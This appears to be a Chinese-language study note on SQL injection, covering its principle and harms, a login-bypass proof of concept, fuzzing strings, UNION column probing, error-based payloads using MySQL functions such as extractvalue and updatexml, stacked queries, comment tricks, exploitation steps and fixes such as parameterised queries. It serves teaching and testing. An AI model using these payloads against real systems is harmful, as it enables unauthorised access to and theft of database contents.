SQL注入漏洞总结

编号 修定时间 修订内容
1 2024/10/29

一、漏洞原理

SQL注入漏洞(SQL Injection)是指攻击者通过在输入字段中插入恶意的SQL代码,从而操控数据库执行未授权的SQL查询。攻击者可以利用此漏洞获取敏感数据、篡改数据、删除数据,甚至完全控制数据库服务器。SQL注入通常发生在应用程序未对用户输入进行充分验证和过滤的情况下。

二、漏洞危害

  1. 数据泄露:攻击者可以获取数据库中的敏感信息,如用户凭证、个人信息等。
  2. 数据篡改:攻击者可以修改数据库中的数据,导致数据不一致或错误。
  3. 数据删除:攻击者可以删除数据库中的重要数据,影响系统的正常运行。
  4. 系统控制:在某些情况下,攻击者可以通过SQL注入获取数据库服务器的控制权,进一步攻击其他系统。
  5. 业务中断:由于数据损坏或丢失,可能导致业务中断,造成经济损失。

三、测试方法(poc)

以下是一个简单的SQL注入测试示例:

假设有一个登录表单,用户输入用户名和密码。正常的SQL查询可能如下:

SELECT * FROM users WHERE username = 'user' AND password = 'pass';

攻击者可以尝试输入以下内容:

  • 用户名:' OR '1'='1​
  • 密码:' OR '1'='1​

构造的SQL查询将变为:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';

由于'1'='1'​始终为真,攻击者可以绕过身份验证。

3.1. 常见的注入点

  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名

3.2. Fuzz注入点

  • ​'​ / "​
  • ​1/1​
  • ​1/0​
  • ​and 1=1​
  • ​" and "1"="1​
  • ​and 1=2​
  • ​or 1=1​
  • ​or 1=​
  • ​' and '1'='1​
  • ​+​ -​ ^​ *​ %​ /​
  • ​<<​ >>​ ||​ |​ &​ &&​
  • ​~​
  • ​!​
  • ​@​
  • 反引号执行

3.3. 测试用常量

  • ​@@version​
  • ​@@servername​
  • ​@@language​
  • ​@@spid​

3.4. 测试列数

例如 http://www.foo.com/index.asp?id=12+union+select+null,null--​ ,不断增加 null​ 至不返回

3.5. 报错注入

  • ​select 1/0​
  • ​select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a​
  • ​extractvalue(1, concat(0x5c,(select user())))​
  • ​updatexml(0x3a,concat(1,(select user())),1)​
  • ​exp(~(SELECT * from(select user())a))​
  • ​ST_LatFromGeoHash((select * from(select * from(select user())a)b))​
  • ​GTID_SUBSET(version(), 1)​

3.5.1. 基于geometric的报错注入

  • ​GeometryCollection((select * from (select * from(select user())a)b))​
  • ​polygon((select * from(select * from(select user())a)b))​
  • ​multipoint((select * from(select * from(select user())a)b))​
  • ​multilinestring((select * from(select * from(select user())a)b))​
  • ​LINESTRING((select * from(select * from(select user())a)b))​
  • ​multipolygon((select * from(select * from(select user())a)b))​

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

3.6. 堆叠注入

  • ​;select 1​

3.7. 注释符

  • ​#​
  • ​--+​
  • ​/*xxx*/​
  • ​/*!xxx*/​
  • ​/*!50000xxx*/​

3.8. 判断过滤规则

  • 是否有trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash和编码

四、利用方法(exp)

利用SQL注入漏洞的步骤通常包括:

  1. 信息收集:识别可注入的输入点,如表单、URL参数等。
  2. 注入测试:使用单引号、双引号、注释符号等测试输入,观察应用程序的响应。
  3. 数据提取:通过构造特定的SQL查询,提取数据库中的敏感信息。例如,使用UNION SELECT​语句获取其他表的数据。
  4. 执行命令:在某些情况下,攻击者可以执行数据库命令,如创建用户、删除表等。

五、修复建议

  1. 输入验证:对所有用户输入进行严格的验证和过滤,确保只接受预期格式的数据。
  2. 使用参数化查询:使用预编译的SQL语句(如Prepared Statements)来避免直接拼接用户输入。
  3. 最小权限原则:数据库用户应仅具有执行必要操作的权限,限制潜在损害。
  4. 错误处理:避免在错误信息中泄露数据库结构或其他敏感信息。
  5. 安全审计:定期进行安全审计和代码审查,及时发现和修复潜在的SQL注入漏洞。



 

你可能感兴趣的:(漏洞,sql,linux,安全)